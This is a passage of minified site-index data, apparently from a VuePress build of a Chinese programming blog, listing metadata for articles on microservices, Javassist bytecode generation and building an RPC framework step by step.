B8%93%E6%A0%8F%E6%80%BB%E7%BB%93%E4%B8%8E%E5%90%8E%E7%BB%AD%E8%A7%84%E5%88%92.html",headers:[{level:2,title:"专栏总体划分",slug:"专栏总体划分"},{level:2,title:"专栏涉及到的技术",slug:"专栏涉及到的技术"},{level:2,title:"具体篇章内容",slug:"具体篇章内容"},{level:3,title:"专栏设计篇",slug:"专栏设计篇"},{level:3,title:"微服务介绍篇",slug:"微服务介绍篇"},{level:3,title:"微服务环境搭建篇",slug:"微服务环境搭建篇"},{level:3,title:"服务治理篇",slug:"服务治理篇"},{level:3,title:"服务容错篇",slug:"服务容错篇"},{level:3,title:"服务网关篇",slug:"服务网关篇"},{level:3,title:"链路追踪篇",slug:"链路追踪篇"},{level:3,title:"消息服务篇",slug:"消息服务篇"},{level:3,title:"服务配置篇",slug:"服务配置篇"},{level:3,title:"分布式事务篇",slug:"分布式事务篇"},{level:2,title:"专栏总结",slug:"专栏总结"},{level:3,title:"为自己而学",slug:"为自己而学"},{level:3,title:"每天进步一点点",slug:"每天进步一点点"},{level:2,title:"后续规划",slug:"后续规划"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"最近和不少小伙伴聊天,发现大部分小伙伴,其中可能就包括正在看文章的你和我,工作时间已经不短了,有些小伙伴工作3~5年了,有些甚至超过8年了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"字节码编程 | 工作多年的你依然重复做着CRUD?是否接触过这种技术?"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html",relativePath:"md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md",key:"v-cba74cd2",path:"/md/middleware/bytecode/2022-04-11-001-%E5%B7%A5%E4%BD%9C%E5%A4%9A%E5%B9%B4%E7%9A%84%E4%BD%A0%E4%BE%9D%E7%84%B6%E9%87%8D%E5%A4%8D%E5%81%9A%E7%9D%80CRUD-%E6%98%AF%E5%90%A6%E6%8E%A5%E8%A7%A6%E8%BF%87%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"题外话",slug:"题外话"},{level:2,title:"动态字节码技术",slug:"动态字节码技术"},{level:2,title:"如何实现字节码编程",slug:"如何实现字节码编程"},{level:2,title:"字节码编程使用场景",slug:"字节码编程使用场景"},{level:2,title:"入门案例",slug:"入门案例"},{level:3,title:"开发环境",slug:"开发环境"},{level:3,title:"完整代码",slug:"完整代码"},{level:3,title:"案例效果",slug:"案例效果"},{level:3,title:"动手实践",slug:"动手实践"},{level:3,title:"第一次运行程序",slug:"第一次运行程序"},{level:3,title:"配置程序",slug:"配置程序"},{level:3,title:"第二次运行程序",slug:"第二次运行程序"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"字节码编程 | 使用Javassist动态生成Hello World",frontmatter:{layout:"post",category:"binghe-code-bytecode",title:"字节码编程 | 使用Javassist动态生成Hello World",tagline:"by 冰河",tag:["bytecode","binghe-code-bytecode"],excerpt:"字节码编程在实际的业务开发(CRUD)中并不常用,但是随着网络编程,RPC、动态字节码增强技术和自动化测试以及零侵入APM监控的不断发展与大量使用,越来越多的技术需要使用到字节码编程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"字节码编程 | 使用Javassist动态生成Hello World"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html"},{name:"twitter:title",content:"字节码编程 | 使用Javassist动态生成Hello World"},{name:"twitter:url",content:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html",relativePath:"md/middleware/bytecode/2022-04-11-002-使用Javassist动态生成HelloWorld.md",key:"v-d4b8b22a",path:"/md/middleware/bytecode/2022-04-11-002-%E4%BD%BF%E7%94%A8Javassist%E5%8A%A8%E6%80%81%E7%94%9F%E6%88%90HelloWorld.html",headers:[{level:2,title:"开发环境",slug:"开发环境"},{level:2,title:"Maven依赖",slug:"maven依赖"},{level:2,title:"案例效果",slug:"案例效果"},{level:2,title:"案例实现",slug:"案例实现"},{level:2,title:"效果演示",slug:"效果演示"},{level:2,title:"案例总结",slug:"案例总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/independent/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/independent/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/independent/default.html",relativePath:"md/middleware/independent/default.md",key:"v-8cb15cf6",path:"/md/middleware/independent/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/limiter/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/limiter/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/limiter/default.html",relativePath:"md/middleware/limiter/default.md",key:"v-6031fe45",path:"/md/middleware/limiter/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架",frontmatter:{layout:"post",category:"binghe-code-rpc",title:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架",tagline:"by 冰河",tag:["rpc","mykit-rpc","binghe-code-rpc"],excerpt:"Dubbo作为在分布式和微服务领域中,最为杰出的RPC服务治理框架之一,撸透它,不仅能够提升自己的网络编程功底,还能进一步提高自身的架构设计能力。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:title",content:"第01章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"},{name:"twitter:url",content:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",relativePath:"md/middleware/rpc/2022-06-25-《RPC手撸专栏》-第1章-开篇-手撸一个能在实际场景使用的RPC框架.md",key:"v-3e43514b",path:"/md/middleware/rpc/2022-06-25-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B-%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E6%89%8B%E6%92%B8%E4%B8%80%E4%B8%AA%E8%83%BD%E5%9C%A8%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E4%BD%BF%E7%94%A8%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",headers:[{level:2,title:"一、文章总览",slug:"一、文章总览"},{level:2,title:"二、为何转去手撸RPC?",slug:"二、为何转去手撸rpc"},{level:2,title:"三、你能学到什么?",slug:"三、你能学到什么"},{level:2,title:"四、效果演示",slug:"四、效果演示"},{level:3,title:"1.RPC核心注解说明",slug:"_1-rpc核心注解说明"},{level:3,title:"2.效果演示",slug:"_2-效果演示"},{level:2,title:"五、一点点建议",slug:"五、一点点建议"},{level:2,title:"查看完整文章",slug:"查看完整文章"},{level:2,title:"六、关于星球",slug:"六、关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第02章:高性能分布式RPC框架整体架构设计",frontmatter:{title:"第02章:高性能分布式RPC框架整体架构设计",pay:"https://articles.zsxq.com/id_xvd5up1u16nx.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第02章:高性能分布式RPC框架整体架构设计"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:title",content:"第02章:高性能分布式RPC框架整体架构设计"},{name:"twitter:url",content:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html",relativePath:"md/middleware/rpc/2022-06-30-《RPC手撸专栏》第2章-高性能分布式RPC框架整体设计.md",key:"v-48133241",path:"/md/middleware/rpc/2022-06-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC2%E7%AB%A0-%E9%AB%98%E6%80%A7%E8%83%BD%E5%88%86%E5%B8%83%E5%BC%8FRPC%E6%A1%86%E6%9E%B6%E6%95%B4%E4%BD%93%E8%AE%BE%E8%AE%A1.html",headers:[{level:2,title:"一、文章总览",slug:"一、文章总览"},{level:2,title:"二、RPC框架的背景知识",slug:"二、rpc框架的背景知识"},{level:2,title:"三、RPC框架整体架构设计",slug:"三、rpc框架整体架构设计"},{level:2,title:"四、RPC框架核心技术点",slug:"四、rpc框架核心技术点"},{level:3,title:"1.服务注册与发现",slug:"_1-服务注册与发现"},{level:3,title:"2.网络通信协议",slug:"_2-网络通信协议"},{level:3,title:"3.序列化与反序列化",slug:"_3-序列化与反序列化"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第03章:RPC服务核心注解的设计与实现",frontmatter:{title:"第03章:RPC服务核心注解的设计与实现",pay:"https://articles.zsxq.com/id_zr6w6dvgdc95.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第03章:RPC服务核心注解的设计与实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第03章:RPC服务核心注解的设计与实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-08-02-《RPC手撸专栏》第3章-RPC服务核心注解的设计与实现.md",key:"v-8a6567ca",path:"/md/middleware/rpc/2022-08-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC3%E7%AB%A0-RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、文章目录",slug:"一、文章目录"},{level:2,title:"二、目前的RPC框架",slug:"二、目前的rpc框架"},{level:2,title:"三、搭建项目工程",slug:"三、搭建项目工程"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第04章:实现RPC服务核心注解的扫描与解析",frontmatter:{title:"第04章:实现RPC服务核心注解的扫描与解析",pay:"https://articles.zsxq.com/id_bal2cnmw3jbi.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第04章:实现RPC服务核心注解的扫描与解析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"第04章:实现RPC服务核心注解的扫描与解析"},{name:"twitter:url",content:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html",relativePath:"md/middleware/rpc/2022-08-22-《RPC手撸专栏》第4章-实现RPC服务核心注解的扫描与解析.md",key:"v-45e26602",path:"/md/middleware/rpc/2022-08-22-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC4%E7%AB%A0-%E5%AE%9E%E7%8E%B0RPC%E6%9C%8D%E5%8A%A1%E6%A0%B8%E5%BF%83%E6%B3%A8%E8%A7%A3%E7%9A%84%E6%89%AB%E6%8F%8F%E4%B8%8E%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"一、文章总体结构",slug:"一、文章总体结构"},{level:2,title:"二、设计思路",slug:"二、设计思路"},{level:2,title:"三、实现通用扫描器",slug:"三、实现通用扫描器"},{level:3,title:"3.1 通用扫描器需求",slug:"_3-1-通用扫描器需求"},{level:3,title:"3.2 通用扫描器实现",slug:"_3-2-通用扫描器实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架",frontmatter:{layout:"post",category:"binghe-code-rpc",title:"【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架",tagline:"by 冰河",tag:["rpc","mykit-rpc","binghe-code-rpc"],excerpt:"【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-08-24-%E6%88%91%E8%AE%BE%E8%AE%A1%E4%BA%86%E4%B8%80%E6%AC%BETPS%E7%99%BE%E4%B8%87%E7%BA%A7%E5%88%AB%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:title",content:"【置顶】这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"},{name:"twitter:url",content:"/md/middleware/rpc/2022-08-24-%E6%88%91%E8%AE%BE%E8%AE%A1%E4%BA%86%E4%B8%80%E6%AC%BETPS%E7%99%BE%E4%B8%87%E7%BA%A7%E5%88%AB%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-08-24-%E6%88%91%E8%AE%BE%E8%AE%A1%E4%BA%86%E4%B8%80%E6%AC%BETPS%E7%99%BE%E4%B8%87%E7%BA%A7%E5%88%AB%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",relativePath:"md/middleware/rpc/2022-08-24-我设计了一款TPS百万级别的RPC框架.md",key:"v-930c5a0a",path:"/md/middleware/rpc/2022-08-24-%E6%88%91%E8%AE%BE%E8%AE%A1%E4%BA%86%E4%B8%80%E6%AC%BETPS%E7%99%BE%E4%B8%87%E7%BA%A7%E5%88%AB%E7%9A%84RPC%E6%A1%86%E6%9E%B6.html",headers:[{level:2,title:"为啥要开发RPC框架",slug:"为啥要开发rpc框架"},{level:2,title:"你能学到什么?",slug:"你能学到什么"},{level:2,title:"代码结构",slug:"代码结构"},{level:2,title:"演示效果",slug:"演示效果"},{level:3,title:"RPC核心注解说明",slug:"rpc核心注解说明"},{level:3,title:"效果演示",slug:"效果演示"},{level:2,title:"一点点建议",slug:"一点点建议"},{level:2,title:"一起出发",slug:"一起出发"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第05章:服务提供者收发消息基础功能实现",frontmatter:{title:"第05章:服务提供者收发消息基础功能实现",pay:"https://articles.zsxq.com/id_df11g9wmm8ad.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第05章:服务提供者收发消息基础功能实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第05章:服务提供者收发消息基础功能实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-09-28-《RPC手撸专栏》第5章-服务提供者收发消息基础功能实现.md",key:"v-1c648cb8",path:"/md/middleware/rpc/2022-09-28-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC5%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%8F%90%E4%BE%9B%E8%80%85%E6%94%B6%E5%8F%91%E6%B6%88%E6%81%AF%E5%9F%BA%E7%A1%80%E5%8A%9F%E8%83%BD%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第06章:自定义网络传输协议的实现",frontmatter:{title:"第06章:自定义网络传输协议的实现",pay:"https://articles.zsxq.com/id_qgntsrvlljea.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第06章:自定义网络传输协议的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第06章:自定义网络传输协议的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html",relativePath:"md/middleware/rpc/2022-09-30-《RPC手撸专栏》第6章-自定义网络协议的实现.md",key:"v-c3ddf76a",path:"/md/middleware/rpc/2022-09-30-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC6%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AE%9E%E7%8E%B0.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"1.工程结构",slug:"_1-工程结构"},{level:3,title:"2.核心实现类关系",slug:"_2-核心实现类关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第07章:自定义网络编解码的实现",frontmatter:{title:"第07章:自定义网络编解码的实现",pay:"https://articles.zsxq.com/id_5wqs9pshkwep.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第07章:自定义网络编解码的实现"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:title",content:"第07章:自定义网络编解码的实现"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%9A%84%E5%AE%9E%E7%8E%B0.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-02-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC7%E7%AB%A0-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BD%91%E7%BB%9C%E7%BC%96%E8%A7%A3%E7%A0%81%E7%